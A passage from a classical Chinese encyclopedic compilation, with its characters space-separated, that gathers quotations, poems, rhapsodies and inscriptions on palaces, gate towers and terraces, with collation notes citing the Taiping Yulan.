桂 之 丛 . 色 燿 三 珠 之 华 . 尔 其 宝 怪 . 则 有 瑶 琨 琅 玕 . 青 碧 素 . 阳 珠 散 火 . 阴 甲 潜 珍 . 云 英 水 玉 . 错 燿 龙 鳞 . 焕 若 金 膏 . 晃 若 烛 银 . 琉 璃 冰 朗 而 外 映 . 珊 瑚 触 石 而 构 翘 . 牙 簟 裂 文 于 象 齿 . 火 布 濯 秽 于 炎 焱 . 西 岨 石 城 . 则 丹 车 之 所 混 并 . 东 尽 金 塘 . 则 方 驾 之 所 连 箱 . 其 中 则 有 龙 坻 华 屋 . 晨 凫 之 舸 . 青 雀 飞 舻 . 余 皇 鼓 施 . 鹢 首 铺 于 黄 宫 . 盘 蛟 缠 于 赤 马 . 爰 有 兰 堂 华 室 . 高 门 重 构 . 罗 鼎 玉 食 . 丝 竹 并 奏 . 龙 骥 汗 血 于 广 涂 . 朱 轮 击 毂 而 辐 凑 .\n晋 傅 玄 正 都 赋 曰 . 抚 琴 瑟 . 陈 钟 虡 . 吹 鸣 箫 . 击 灵 鼓\n. 奏 新 声 . 理 秘 舞 . 乃 有 材 童 妙 妓 . 都 卢 迅 足 . 缘 脩 竿\n而 上 下 . 形 既 变 而 景 属 . 忽 跟 挂 而 倒 绝 . 若 将 坠 而 复 续\n. 虬 萦 龙 蜿 . 委 随 纡 曲 . 杪 竿 首 而 腹 旋 . 承 严 节 之 繁 促\n. 于 是 神 岳 双 立 . 冈 岩 岑 崟 . 灵 草 蔽 崖 . 嘉 木 成 林 . 东\n父 翳 青 盖 而 遐 望 . 西 母 使 三 足 之 灵 禽 . 丹 蛟 吹 笙 . 文 豹\n鼓 琴 . 素 女 抚 瑟 而 安 歌 . 声 可 意 而 入 心 . 偓 佺 企 而 鹤 立\n. 和 清 响 而 哀 吟 .\n释 名 曰 . 宫 . 穹 也 . 屋 见 垣 上 穹 隆 也 .\n方 言 曰 . 吴 有 馆 娃 之 宫 .\n礼 记 曰 . 儒 有 一 亩 之 宫 . 环 堵 之 室 .\n大 戴 礼 曰 . 周 时 德 泽 和 洽 . 蒿 茂 大 . 以 为 宫 柱 者 . 名 曰 蒿 宫 .\n毛 诗 曰 . 定 之 方 中 . 作 于 楚 宫 . 揆 之 以 日 . 作 于 楚 室 .\n又 曰 . 鼓 钟 于 宫 . 声 闻 于 外 .\n管 子 曰 . 黄 帝 有 合 宫 . 以 听 政 .\n穆 天 子 传 曰 . 天 子 升 于 昆 仑 之 丘 . 以 观 帝 之 宫 .\n越 绝 书 曰 . 美 人 宫 周 五 百 九 十 步 . 土 城 者 . 句 践 所 习 教 美 人 西 施 郑 旦 宫 室 .\n列 子 曰 . 周 穆 王 时 . 西 胡 国 有 化 人 来 . 王 执 化 人 之 袪 . 腾 而 上 天 . 暨 化 人 之 宫 . 构 以 金 银 . 络 以 珠 玉 . 出 云 雨 之 上 . 实 为 清 都 紫 微 也 .\n孟 子 曰 . 齐 宣 王 见 孟 子 于 雪 宫 .\n吕 氏 春 秋 曰 . 武 王 胜 殷 . 靖 箕 子 之 宫 .\n楚 辞 曰 . 鳞 屋 兮 龙 堂 . 紫 贝 阙 兮 朱 宫 .\n史 记 曰 . 驺 子 之 燕 . 昭 王 拥 彗 先 驱 . 请 列 弟 子 之 座 而 受 业 . 筑 碣 石 室 . ○ 太 平 御 览 一 百 七 十 三 作 宫 . 亲 往 师 之 .\n神 异 经 曰 . 东 方 有 宫 . 青 石 为 墙 . 高 三 仞 . 左 右 阙 高 百 丈 . 画 以 五 色 . 门 有 银 榜 . 以 青 石 碧 镂 . 题 曰 天 地 长 男 之 宫 . 西 方 有 宫 . 白 石 为 墙 . 五 色 黄 门 . 有 金 榜 而 银 镂 . 题 曰 天 地 少 女 之 宫 . 西 南 方 有 宫 . 以 金 为 墙 . 门 有 金 榜 . 以 银 . ○ 太 平 御 览 一 百 七 十 三 银 下 有 镂 字 . 题 曰 天 皇 之 宫 . 南 方 有 宫 . 以 赤 石 为 墙 . 赤 铜 为 门 . 有 银 榜 . 题 曰 天 地 中 女 之 宫 . 北 方 有 宫 . 以 黑 石 为 墙 . 题 曰 天 地 中 男 之 宫 . 东 南 有 宫 . 以 黄 石 为 墙 . 以 黄 碧 镂 . 题 曰 天 地 少 男 之 宫 . 西 南 有 宫 . 以 黄 铜 为 墙 . 题 曰 地 皇 之 宫 .\n十 洲 记 曰 . 青 丘 山 上 有 紫 宫 . 天 真 仙 女 . 多 游 于 此 .\n又 曰 . 方 丈 山 上 有 琉 璃 宫 .\n列 仙 传 曰 . 钩 翼 夫 人 . 齐 人 也 . 右 手 拳 . 望 色 者 云 . 东 方 有 贵 人 气 . 及 到 . 姿 色 甚 伟 . 帝 披 其 手 . 得 一 钩 . 手 寻 下 不 拳 . 故 名 其 宫 曰 钩 翼 宫 .\n说 苑 曰 . 楚 使 使 聘 齐 . 齐 王 享 之 梧 宫 . 使 者 曰 . 大 哉 梧 乎 . 王 曰 . 江 海 之 鱼 吞 舟 . 况 大 国 之 树 也 .\n汉 武 帝 故 事 曰 . 上 起 明 光 宫 . 发 燕 赵 美 女 二 千 人 充 之 . 建 章 未 央 长 乐 三 宫 . 皆 辇 道 相 属 . 悬 栋 飞 阁 . 不 由 径 路 .\n汉 书 曰 . 武 帝 六 年 . 冬 . 幸 雍 回 中 . 春 作 首 山 宫 .\n又 曰 . 上 祠 神 人 于 郊 ○ 太 平 御 览 一 百 七 十 三 作 交 . 门 宫 . 若 有 向 坐 拜 者 . 作 交 门 之 歌 .\n又 曰 . 幸 河 东 之 明 年 . 正 月 . 凤 皇 集 . 设 祠 于 所 集 处 . 得 玉 宝 . 起 步 寿 宫 .\n又 曰 . 柏 梁 灾 . 越 巫 勇 之 乃 曰 . 越 俗 . 有 火 灾 . 复 起 屋 . 必 以 火 . ○ 太 平 御 览 一 百 七 十 三 作 大 . 用 胜 服 之 . 于 是 起 建 章 宫 . 为 千 门 万 户 .\n又 曰 . 秦 倚 曲 台 之 宫 . 悬 衡 天 下 . 衡 . 秤 也 . 言 悬 法 度 于 其 上 也 .\n三 辅 故 事 曰 . 桂 宫 周 匝 十 里 . 内 有 光 明 殿 . 走 狗 台 . 土 山 萦 复 道 . 横 北 度 . 从 宫 中 西 上 城 . 至 神 明 台 .\n三 辅 黄 图 曰 . 有 夜 光 宫 望 远 宫 照 台 宫 蒲 萄 宫 棠 灾 宫 资 阳 宫 长 平 宫 五 柞 宫 .\n汉 宫 阙 名 曰 . 长 安 有 长 乐 宫 未 央 宫 长 门 宫 鼓 簧 宫 承 光 宫 林 光 宫 宜 . 春 宫 池 阳 宫 长 平 宫 黄 山 宫 望 仙 宫 长 杨 宫 集 灵 宫 万 岁 宫 延 寿 宫 初 ○ 太 平 御 览 一 百 七 十 三 作 祈 . 年 宫 通 天 宫 馺 婆 ○ 御 览 作 娑 . 宫 .\n东 观 汉 记 曰 . 帝 遗 单 于 飨 赐 作 乐 百 戏 . 上 幸 离 宫 临 观 .\n魏 略 曰 . 大 秦 国 城 中 有 五 宫 . 相 去 各 五 十 里 . 宫 室 皆 以 水 精 为 柱 . 食 器 亦 然 .\n王 隐 晋 书 曰 . 高 堂 隆 刻 邺 宫 屋 材 云 . 后 若 干 年 . 当 有 天 子 居 此 宫 . 惠 帝 止 邺 宫 . 治 屋 者 土 剥 更 泥 . 始 见 刻 字 . 计 年 正 合 .\n【 诗 】 梁 简 文 帝 新 成 安 乐 宫 诗 曰 . 遥 看 云 雾 中 . 刻 角 映 丹 虹 . 珠 帘 通 晓 日 . 金 花 拂 夜 风 . 欲 知 弦 管 处 . 来 过 安 乐 宫 .\n周 明 帝 过 旧 宫 诗 曰 . 玉 烛 调 秋 气 . 金 舆 历 旧 宫 . 还 如 过 白 水 . 更 似 入 新 丰 . 秋 潭 渍 晚 菊 . 寒 井 落 疏 桐 . 举 杯 延 故 老 . 今 闻 歌 大 风 .\n陈 阴 铿 新 成 安 乐 宫 诗 曰 . 新 宫 实 壮 哉 . 云 里 望 楼 台 . 迢 递 翔 鹍 仰 . 连 翩 贺 雀 来 . 重 檐 寒 露 宿 . 丹 井 夏 莲 开 . 砌 石 披 新 锦 . 梁 花 画 早 梅 . 欲 知 安 乐 盛 . 歌 管 杂 尘 埃 .\n【 赋 】 汉 刘 歆 甘 泉 宫 赋 曰 . 轶 陵 阴 之 地 室 . 过 阳 谷 之 秋 城 . 回 天 门 而 凤 举 . 蹑 黄 帝 之 明 庭 . 冠 高 山 而 为 居 . 乘 昆 仑 而 为 宫 . 按 轩 辕 之 旧 处 . 居 北 辰 之 闳 中 . 背 共 工 之 幽 都 . 向 炎 帝 之 祝 融 . 封 峦 为 之 东 序 . 缘 石 阙 之 天 梯 . 桂 木 杂 而 成 行 . 芳 盻 向 之 依 依 . 翡 翠 孔 雀 . 飞 而 翱 翔 . 凤 皇 止 而 集 栖 . 甘 醴 涌 于 中 庭 兮 . 激 清 流 之 沵 沵 . 黄 龙 游 而 蜿 蟺 兮 . 神 龟 沉 于 玉 泥 . 离 宫 特 观 . 楼 比 相 连 . 云 起 波 骇 . 星 布 弥 山 . 高 峦 峻 阻 . 临 眺 旷 衍 . 深 林 蒲 苇 . 涌 水 清 泉 . 芙 蓉 菡 萏 . 菱 荇 苹 蘩 . 豫 章 杂 木 . 梗 松 柞 棫 . 女 贞 乌 勃 . 桃 李 枣 檍 .\n魏 卞 兰 许 昌 宫 赋 曰 . 入 南 端 以 北 眺 . 望 景 福 之 嵯 峨 . 飞 栋 列 以 山 峙 . 长 途 邈 以 委 他 . 见 栾 栌 之 交 错 . 睹 阳 马 之 承 阿 . 转 挟 以 相 因 . 若 流 风 之 扬 波 . 木 无 小 而 不 . 材 靡 隐 而 不 华 . 懿 采 色 而 发 越 . 玮 巧 饰 之 繁 多 . 双 辕 承 枌 . 丹 梁 端 直 . 明 窗 列 布 . 绮 井 崱 嶷 . 其 阴 则 有 望 舒 凉 室 . 羲 和 温 房 . 隆 冬 御 絺 . 盛 夏 重 裳 . 同 一 宇 之 深 邃 . 致 寒 暑 于 阴 阳 . 脩 栏 荫 于 阶 砌 . 崇 栋 拂 乎 旻 苍 . 绮 组 发 华 . 翡 翠 生 光 . 丹 草 周 隅 . 灵 木 成 行 . 非 窈 窕 之 至 贵 . 孰 能 升 于 斯 堂 . 坐 金 人 于 闱 闼 . 列 钟 虡 于 广 庭 . 天 鹿 轩 翥 以 扬 怒 . 师 子 郁 拂 而 负 桢 . 珍 果 敷 华 . 兰 芷 垂 荣 . 百 璧 照 曜 . 飞 响 应 声 . 扣 角 则 春 气 至 . 弹 商 则 秋 风 征 . 历 神 芝 之 峻 观 . 幸 安 昌 之 巍 巍 . 进 鼓 舞 之 秘 妓 . 绝 世 俗 而 入 微 . 兴 七 盘 之 递 奏 . 观 轻 捷 之 翾 翾 . 或 迟 或 速 . 乍 止 乍 旋 . 似 飞 凫 之 迅 疾 . 若 翔 龙 之 游 天 . 赵 女 抚 琴 . 楚 媛 清 讴 . 秦 筝 慷 慨 . 齐 舞 绝 殊 . 众 妓 并 奏 . 捔 巧 骋 奇 . 千 变 万 化 . 不 可 胜 知 . 乐 戏 阕 . 游 观 足 . 登 承 光 . 坐 华 幄 . 论 稽 古 . 反 流 俗 . 退 虚 伪 . 进 敦 朴 . 宝 贤 良 . 贱 珠 玉 . 岂 必 世 而 后 仁 . 在 时 主 之 所 欲 .\n魏 杨 脩 许 昌 宫 赋 曰 . 于 是 仪 北 极 以 遘 撩 . 希 形 制 乎 太 微 . 结 云 阁 之 崔 嵬 . 植 神 木 与 灵 草 . 纷 蓊 蔚 以 参 差 . 尔 乃 置 天 台 于 辰 角 . 列 执 法 于 西 南 . 筑 旧 章 之 两 观 . 缀 长 廊 之 步 栏 . 重 闺 禁 之 窈 窕 . 造 华 盖 之 幽 深 . 俭 则 不 陋 . 奢 则 不 盈 . 黎 民 子 来 . 不 督 自 成 . 于 是 天 子 乃 具 法 服 . 戒 群 僚 . 钟 鼓 隐 而 雷 鸣 . 警 跸 嘈 而 响 起 . 晻 蔼 低 佪 . 天 行 地 止 . 以 入 乎 新 宫 . 临 南 轩 而 向 春 方 . 负 黼 黻 之 屏 风 . 凭 玉 几 而 按 图 书 . 想 往 昔 之 兴 隆 .\n北 齐 邢 子 才 新 宫 赋 曰 . 拟 二 仪 而 构 路 寝 . 法 三 山 而 起 翼 室 . 何 大 厦 之 眈 眈 . 而 斯 干 之 秩 秩 . 岂 西 京 之 足 伟 . 故 东 都 之 所 匹 . 尔 其 状 也 . 则 瑰 谲 屈 奇 . 澜 漫 陆 离 . 嵯 峨 崔 嵬 . 巉 岩 参 差 . 若 密 云 之 乍 举 . 似 鹏 翼 之 中 垂 . 布 菱 华 之 与 莲 蒂 . 咸 反 植 而 倒 施 . 若 承 露 而 将 转 . 似 含 风 而 欲 披 . 土 成 黼 黻 . 木 化 蛟 螭 . 布 红 紫 之 融 泄 . 闲 朱 黄 之 赫 曦 . 兽 狂 顾 而 犹 动 . 鸟 将 骞 而 中 疲 . 木 神 水 怪 . 海 若 山 祇 . 千 变 万 化 . 殊 形 异 宜 . 阴 梁 北 注 . 阳 鸟 南 施 . 百 楹 列 倚 . 千 栌 代 支 . 或 据 险 而 形 固 . 或 居 安 而 势 危 .\n【 颂 】 汉 王 褒 甘 泉 宫 颂 曰 . 甘 泉 山 . 天 下 显 敞 之 名 处 也 . 前 接 大 荆 . 后 临 北 极 . 左 抚 仁 乡 . 右 望 素 域 . 其 宫 室 也 . 仍 嶭 而 为 观 . 攘 抗 岸 以 为 阶 . 壅 波 澜 而 鳞 坻 . 驰 道 列 以 曲 远 . 览 除 阁 之 丽 靡 . 觉 堂 殿 之 巍 巍 . 径 落 莫 以 差 错 . 编 玳 瑁 之 文 . 镂 螭 龙 以 造 牖 . 采 云 气 以 为 楣 . 神 星 罗 于 题 鄂 . 虹 蜺 往 往 而 绕 榱 . 缦 倏 忽 其 无 垠 . 意 能 了 之 者 谁 . 窃 想 圣 主 之 优 游 . 时 娱 神 而 款 纵 . 坐 凤 皇 之 堂 . 听 和 鸾 之 弄 . 临 麒 麟 之 域 . 验 符 瑞 之 贡 . 咏 中 和 之 歌 . 读 太 平 之 颂 .\n宋 孝 武 帝 巡 幸 旧 宫 颂 曰 . 惟 皇 敬 眷 . 永 慕 徐 京 . 列 装 青 野 . 动 斩 丹 廷 . 荣 和 首 律 . 景 泽 开 年 . 林 坰 发 色 . 川 郊 列 泉 . 沿 溯 遥 衍 . 登 陟 回 悬 . 践 域 负 外 . 即 宫 临 山 . 思 甲 陵 寝 . 欢 结 枌 都 . 眇 怀 沛 济 . 勤 念 宛 吾 . 纳 寿 遗 老 . 设 饮 先 居 . 堂 序 朝 秀 . 廷 ○ 全 宋 文 六 廷 上 有 充 字 . 集 闾 .\n梁 沈 约 齐 朝 丹 徒 故 宫 颂 曰 . 圣 祖 神 杰 . 尧 踪 汉 烈 . 岳 峻 雄 图 . 天 张 武 节 . 坠 命 既 升 . 霸 略 将 骋 . 清 渭 走 烽 . 浊 河 献 警 . 特 峭 剑 关 . 凭 深 桂 岭 . 彝 章 委 阙 . 礼 乐 沉 河 . 极 压 倾 构 . 引 溺 危 波 . 尽 物 称 瑞 . 穷 灵 委 和 . 玄 精 翼 日 . 丹 羽 巢 阿 .\n【 铭 】 后 汉 李 尤 永 安 宫 铭 曰 . 合 欢 黄 堂 . 中 和 是 遵 . 旧 庐 怀 本 . 新 果 畅 春 . 候 台 集 道 . 俾 司 星 辰 . 丰 业 广 德 . 以 协 天 人 . 万 福 来 眇 . 嘉 娱 永 欣 .\n【 表 】 梁 沈 约 为 柳 兖 州 世 隆 上 旧 宫 表 曰 . 旧 宫 蕴 灵 千\n古 . 合 祥 百 代 . 万 祇 相 祉 . 八 神 警 室 . 事 超 齐 甸 . 义 迈\n谯 宫 . 故 能 属 辇 道 于 天 阶 . 命 帝 阙 于 霄 路 . 实 宜 树 阙 疏\n壤 . 写 极 上 穹 . 克 播 徽 尘 . 永 光 盛 烈 .\n释 名 曰 . 阙 . 阙 也 . 在 门 两 旁 . 中 央 阙 然 为 道 也 .\n周 官 曰 . 太 宰 以 正 月 悬 治 法 于 象 魏 .\n礼 记 曰 . 昔 者 仲 尼 与 于 蜡 宾 . 事 毕 . 出 游 于 观 之 上 . 喟 然 而 叹 . 仲 尼 之 叹 . 盖 叹 鲁 也 . 郑 言 观 阙 也 .\n左 传 曰 . 哀 公 三 年 . 司 铎 火 . 逾 公 宫 . 季 桓 子 至 . 命 藏 象 魏 . 曰 旧 章 不 可 忘 . 象 魏 . 门 阙 也 . 法 令 悬 之 . 故 谓 其 书 为 象 魏 也 .\n文 子 曰 . 老 子 云 . 身 处 江 海 之 上 . 心 在 魏 阙 之 下 .\n史 记 曰 . 蓬 莱 方 丈 瀛 洲 . 此 三 山 在 海 中 . 诸 仙 人 不 死 药 皆 在 焉 . 黄 金 白 银 为 阙 .\n又 曰 . 建 章 宫 东 凤 阙 . 高 二 十 丈 .\n神 异 经 曰 . 东 南 有 石 井 . 其 方 百 丈 . 上 有 二 石 阙 . 侠 东 南 面 . 上 有 蹲 熊 . 有 榜 着 阙 . 题 曰 地 户 .\n又 曰 . 东 北 大 荒 中 . 有 金 阙 . 高 百 丈 . 上 有 明 月 珠 . 径 三 丈 . 光 照 千 里 . 中 有 金 阶 . 西 北 入 两 阙 中 . 名 天 门 .\n十 洲 记 曰 . 昆 仑 山 有 水 精 阙 .\n列 仙 ○ 太 平 御 览 一 百 七 十 九 作 女 . 此 讹 . 传 曰 . 卫 灵 公 与 夫 人 夜 坐 . 闻 车 声 辚 辚 . 至 阙 而 止 . 过 阙 复 有 声 . 公 问 夫 人 曰 . 知 此 为 谁 . 夫 人 曰 . 此 蘧 伯 玉 也 . 公 曰 . 何 以 知 之 . 夫 人 曰 . 妾 闻 礼 下 公 门 . 式 路 马 . 今 蘧 伯 玉 卫 之 贤 大 夫 也 . 敬 于 事 上 . 必 不 闇 昧 废 礼 . 是 以 知 之 . 公 使 人 视 之 . 果 伯 玉 也 .\n三 辅 旧 事 曰 . 未 央 宫 东 有 苍 龙 阙 . 北 有 玄 武 阙 .\n应 劭 汉 官 仪 曰 . 高 祖 既 登 帝 位 . 鲖 阳 固 始 细 阳 岁 遣 鸡 鸣 歌 士 . 常 讴 于 阙 下 .\n汉 官 典 职 曰 . 偃 师 去 宫 三 十 五 里 . 望 朱 雀 阙 . 其 上 郁 朴 与 天 连 .\n魏 志 曰 . 明 帝 作 凌 霄 阙 .\n蜀 志 曰 . 谯 周 尝 闻 杜 琼 曰 . 昔 周 征 君 群 . 以 为 当 涂 高 者 . 魏 也 . 其 义 何 也 . 琼 答 曰 . 魏 . 阙 名 也 . 当 涂 言 高 . 圣 人 取 类 言 尔 .\n关 中 记 曰 . 未 央 宫 东 有 青 龙 阙 . 北 有 玄 武 阙 . 汉 书 所 谓 北 阙 者 也 . 建 章 宫 圆 阙 . 临 北 道 . 凤 在 上 . 故 曰 凤 阙 也 . 阊 阖 门 内 东 出 . 有 折 风 阙 . 一 名 别 风 阙 .\n王 隐 晋 书 曰 . 汉 末 . 博 士 炖 煌 侯 瑾 . 善 内 学 . 语 弟 子 曰 . 凉 州 城 西 有 泉 水 当 竭 . 当 有 双 阙 起 其 上 . 魏 嘉 平 中 . 武 威 太 守 起 学 舍 . 筑 阙 于 此 .\n赖 ○ 太 平 御 览 一 百 七 十 九 作 濑 . 下 同 . 乡 记 曰 . 老 子 庙 前 有 两 石 阙 . 大 阙 高 九 尺 八 寸 . 下 三 重 石 . 阙 边 各 有 子 阙 .\n山 谦 之 丹 阳 记 曰 . 太 兴 中 . 议 者 皆 言 汉 司 徒 许 彧 墓 阙 . 可 徙 施 之 . 王 茂 弘 弗 欲 . 后 陪 乘 出 宣 阳 门 . 南 望 牛 头 山 两 峰 . 曰 . 天 阙 也 . 岂 烦 改 作 . 帝 然 之 .\n邓 德 明 南 康 记 曰 . 南 康 县 归 义 山 . 去 县 七 百 里 . 下 有 石 城 . 高 数 丈 . 远 望 嵯 峨 . 灵 阙 腾 空 . 故 老 谓 之 神 阙 .\n【 诗 】 隋 江 总 咏 双 阙 诗 曰 . 象 阙 连 驰 道 . 反 宇 照 方 疏 . 刻 凤 栖 清 汉 . 图 龙 入 紫 虚 . 屡 逢 膏 露 洒 . 几 遇 祥 烟 初 . 竞 言 百 尺 丽 . 宁 方 万 丈 余 .\n【 赋 】 魏 繁 钦 建 章 凤 阙 赋 曰 . 筑 双 凤 之 崇 阙 . 表 大 路 以 遐 通 . 上 规 圜 以 穹 隆 . 下 矩 折 而 绳 直 . 长 楹 森 以 骈 停 . 修 桷 揭 以 舒 翼 . 象 玄 圃 之 层 楼 . 肖 华 盖 之 丽 天 . 当 蒸 暑 之 暖 赫 . 步 北 楹 而 周 旋 . 鹪 鹏 振 而 不 及 . 岂 归 雁 之 能 翔 . 抗 神 凤 以 甄 甍 . 似 虞 庭 之 锵 锵 . 栌 六 翮 以 抚 跱 . 俟 高 风 之 清 凉 . 华 钟 金 兽 . 列 在 南 廷 . 嘉 树 蓊 薆 . 奇 鸟 哀 鸣 . 台 榭 临 池 . 万 种 千 名 . 周 辇 道 . 屈 绕 纡 萦 .\n【 铭 】 后 汉 李 尤 阙 铭 曰 . 皇 上 尊 严 . 万 姓 载 依 . 国 都 攸 处 . 建 设 端 闱 . 表 树 两 观 . 双 阙 巍 巍 . 梁 陆 倕 石 阙 铭 曰 . 昔 舜 格 文 祖 . 禹 至 神 宗 . 周 变 商 俗 . 汤 黜 夏 政 . 虽 革 命 殊 乎 因 袭 . 揖 让 异 于 干 戈 . 而 晷 纬 冥 合 . 天 人 启 基 . ○ 文 选 五 十 六 作 惎 . 克 明 俊 德 . 大 庇 生 民 . 其 揆 一 也 . 在 齐 之 季 . 昏 虐 君 临 . 威 侮 五 行 . 怠 弃 三 正 . 蹐 地 无 归 . 瞻 乌 靡 托 . 我 皇 帝 拯 之 . 乃 操 斗 极 . 把 钩 陈 . 翼 百 神 . 提 万 福 . 指 麾 而 四 海 隆 平 . 下 车 而 天 下 大 定 . 以 为 象 阙 之 制 . 其 来 已 远 . 春 秋 设 旧 章 之 教 . 经 礼 垂 布 宪 之 文 . 戴 记 显 游 观 之 言 . 周 史 书 树 阙 之 梦 . 北 荒 明 月 . 西 极 流 精 . 海 岳 黄 金 . 河 廷 紫 贝 . 苍 龙 玄 武 之 制 . 铜 爵 铁 凤 之 工 . 或 以 听 穷 省 冤 . 或 以 布 治 悬 法 . 或 表 正 王 居 . 或 光 崇 帝 里 . 晋 氏 浸 弱 . 宋 历 威 夷 . 礼 经 旧 典 . 寂 寥 无 记 . 鸿 规 盛 烈 . 堙 没 罕 称 . 乃 假 双 阙 于 牛 头 . 托 远 图 于 博 望 . 有 欺 耳 目 . 无 补 宪 章 . 惟 帝 建 国 . 正 位 辨 方 . 周 营 洛 涘 . 汉 启 岐 梁 . 居 因 业 盛 . 文 以 化 光 . 爰 有 象 阙 . 是 惟 旧 章 . 青 盖 南 洎 . 黄 旗 东 指 . 悬 法 无 闻 . 藏 书 不 纪 . 大 人 造 物 . 龙 德 休 否 . 建 此 百 常 . 兴 兹 双 起 . 伟 哉 偃 蹇 . 状 矣 巍 巍 . 傍 映 重 叠 . 上 连 翠 微 . 布 教 方 显 . 挟 日 初 晖 . 悬 书 有 附 . 委 箧 如 归 .\n【 表 】 梁 沈 约 上 建 阙 表 曰 . 恭 惟 哲 后 . 旧 章 必 修 . 眇\n瞩 前 王 . 后 古 为 贵 . 伏 惟 陛 下 . 钦 咨 故 实 . 率 由 令 典 .\n昔 在 有 晋 . 经 创 江 左 . 邦 训 莫 厘 . 远 国 多 缺 . 万 雉 之 外\n. 两 观 弗 兴 . 空 指 南 峰 . 悬 法 无 所 . 世 历 三 代 . 年 将 二\n百 . 非 所 以 经 世 成 务 . 垂 业 后 昆 . 天 德 圆 应 . 宪 章 自 远\n. 诏 匠 人 建 兹 象 阙 . 俯 藉 爱 礼 之 心 . 以 申 子 来 之 愿 . 式\n表 端 闱 . 仪 刑 万 国 . 使 观 风 而 至 . 复 闻 正 岁 之 典 . 遐 想\n之 士 . 少 寄 怀 古 之 目 .\n山 海 经 曰 . 西 王 母 之 山 . 有 轩 辕 台 . 射 者 不 敢 西 向 . 畏 轩 辕 之 台 . 归 藏 曰 . 昔 者 夏 后 启 葬 . 享 神 于 晋 之 墟 . 作 为 璇 台 . 于 水 之 阳 .\n左 传 曰 . 夏 后 启 . 有 钓 台 之 飨 . 在 河 南 阳 翟 县 .\n又 曰 . 楚 子 成 章 华 之 台 . 以 与 诸 侯 落 之 .\n老 子 曰 . 九 层 之 台 . 起 于 累 土 .\n穆 天 子 传 曰 . 盛 姬 . 盛 伯 之 子 也 . 盛 国 名 . 天 子 赐 之 上 姬 之 长 . 乃 为 之 台 . 是 曰 重 璧 之 台 .\n贾 子 曰 . 翟 王 使 使 者 之 楚 . 楚 王 欲 夸 之 . 飨 客 章 华 之 台 . 三 休 . 乃 至 于 上 .\n吕 氏 春 秋 曰 . 有 娀 氏 有 二 佚 女 . 为 九 成 台 . 饮 食 必 以 鼓 .\n王 孙 子 曰 . 昔 卫 公 坐 重 华 之 台 . 侍 御 数 百 . 随 珠 照 日 . 罗 衣 从 风 .\n史 记 曰 . 汉 武 帝 起 柏 梁 台 . 高 数 十 丈 .\n又 曰 . 寡 妇 清 . 其 先 得 丹 穴 而 擅 其 利 . 清 寡 妇 也 . 能 守 其 业 . 用 财 自 卫 . 秦 始 皇 以 为 贞 妇 而 客 之 . 为 筑 女 怀 清 台 .\n陆 贾 新 语 曰 . 楚 灵 王 作 干 溪 之 台 . 百 仞 之 高 . 欲 登 浮 云 . 窥 天 文 .\n新 序 曰 . 魏 王 将 欲 为 中 天 之 台 . 许 绾 负 插 而 入 曰 . 闻 大 王 将 为 中 天 之 台 . 愿 加 一 力 . 臣 闻 天 与 地 相 去 万 九 千 里 . 其 趾 当 方 一 千 里 . 尽 王 之 地 . 不 足 为 台 趾 . 王 默 然 . 罢 筑 者 .\n三 辅 故 事 曰 . 龙 台 高 六 丈 . 去 丰 水 县 五 里 .\n汉 书 曰 . 文 帝 尝 欲 作 露 台 . 召 工 计 之 . 直 百 金 . 曰 . 百 金 中 民 十 家 之 产 . 吾 奉 先 帝 宫 室 . 常 恐 羞 之 . 何 以 台 为 .\n三 辅 宫 殿 簿 曰 . 长 乐 宫 有 临 华 台 . 神 仙 台 .\n博 物 志 曰 . 江 陵 有 台 甚 大 . 而 唯 有 一 柱 . 众 梁 皆 共 此 柱 .\n魏 志 曰 . 黄 初 六 年 . 筑 东 巡 台 . 七 年 . 筑 九 华 台 .\n晋 宫 阙 名 曰 . 邺 有 铜 雀 台 织 室 台 .\n陈 留 风 俗 传 曰 . 浚 仪 有 师 旷 仓 颉 城 . 城 上 有 列 仙 吹 台 .\n邺 中 记 曰 . 邺 城 西 北 立 台 . 皆 因 城 为 基 趾 . 中 央 名 铜 雀 台 . 北 则 冰 井 台 .\n又 曰 . 西 台 高 六 十 七 丈 . 上 作 铜 凤 . 窗 皆 铜 笼 . 疏 云 母 幌 . 日 之 初 出 . 乃 流 光 照 曜 .\n嵩 高 山 记 曰 . 山 有 玉 女 台 . 云 汉 武 帝 见 三 仙 玉 女 . 因 以 名 台 .\n益 州 记 曰 . 雁 桥 东 . 有 严 君 平 卜 处 . 土 台 高 数 丈 也 .\n荆 州 图 记 曰 . 江 陵 县 东 有 天 井 台 . 飞 轩 光 映 . 背 邑 面 河 . 寔 郊 游 憩 之 佳 处 也 .\n幽 明 录 曰 . 海 中 有 金 台 . 出 水 百 丈 . 结 构 巧 丽 . 穷 尽 神 工 . 横 光 岩 渚 . 竦 曜 星 汉 .\n吴 地 记 曰 . 吴 王 阖 闾 十 一 年 . 起 台 于 姑 苏 山 . 因 山 为 名 . 西 南 去 国 三 十 五 里 . 春 夏 游 焉 . 后 夫 差 复 高 而 饰 之 . 越 伐 吴 . 遂 见 焚 . 太 史 公 云 . 余 登 姑 苏 . 望 五 湖 . 五 湖 去 此 台 二 十 余 里 .\n戴 延 之 西 征 记 曰 . 官 度 台 . 去 青 口 泽 六 十 里 . 魏 武 所 造 也 . 破 袁 绍 于 此 .\n杨 龙 骧 洛 阳 记 曰 . 陵 云 台 高 二 十 三 丈 . 登 之 见 孟 津 .\n邓 德 明 南 康 记 曰 . 雩 都 君 山 上 . 有 玉 台 . 方 广 数 丈 . 周 回 尽 是 白 石 柱 . 柱 自 然 石 覆 . 如 屋 形 也 . 四 面 多 松 杉 . 遥 眺 峨 峨 . 向 像 羽 人 之 馆 . 风 雨 之 后 . 景 气 明 净 . 颇 闻 山 上 有 鼓 吹 之 声 . 山 都 木 客 . 为 舞 唱 之 节 .\n广 州 记 曰 . 尉 他 立 台 . 以 朝 汉 室 . 圆 基 千 步 . 直 峭 百 丈 . 螺 道 登 进 . 顶 上 三 亩 . 朔 望 升 拜 . 号 为 朝 台 .\n伏 琛 齐 地 记 曰 . 秦 始 皇 二 十 八 年 . 至 琅 邪 . 大 乐 之 . 留 三 月 . 作 琅 邪 台 . 台 亦 孤 山 也 . 然 高 显 出 于 众 山 之 上 .\n【 诗 】 晋 陆 机 拟 古 诗 曰 . 高 台 一 何 峻 . 迢 迢 峻 而 安 . 绮 窗 出 尘 冥 . 飞 阶 蹑 云 端 . 佳 人 抚 瑶 瑟 . 纤 手 清 且 闲 . 芳 音 随 风 结 . 哀 响 馥 若 兰 . 玉 容 谁 能 顾 . 倾 城 在 一 弹 .\n梁 简 文 帝 琴 台 诗 曰 . 芜 阶 践 昔 径 . 复 愁 鸣 琴 游 . 音 容 万 春 态 . 高 名 千 载 留 . 弱 枝 生 古 树 . 旧 石 染 新 流 